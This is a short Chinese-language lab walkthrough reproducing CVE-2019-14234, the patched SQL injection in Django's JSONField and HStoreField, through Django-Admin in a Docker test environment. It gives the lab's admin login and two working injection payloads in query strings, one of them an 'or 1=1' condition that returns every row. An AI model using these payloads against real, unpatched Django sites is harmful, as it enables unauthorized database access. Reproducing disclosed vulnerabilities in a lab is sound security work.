Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

漏洞描述

Django 于2019年8月1日 日发布了安全更新,修复了 JSONField 和 HStoreField 两个模型字段的 SQL 注入漏洞。

参考链接:

  • Django security releases issued: 2.2.4, 2.1.11 and 1.11.23 | Weblog | Django
  • Django JSONField SQL注入漏洞(CVE-2019-14234)分析与影响 | 离别歌

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

漏洞环境及利用

搭建docker环境

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)_第1张图片

首先,使用用户名和密码登录 Django-Admin,admin,a123123123http://your-ip:8000/admin/

然后转到模型的列表视图:http://your-ip:8000/admin/vuln/collection/Collection

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)_第2张图片

 构建sql注入payload

?detail__a%27b=123 

可以看到成功注入

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)_第3张图片 

or 1=1返回所有结果

?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)_第4张图片 

你可能感兴趣的:(django,sql,数据库)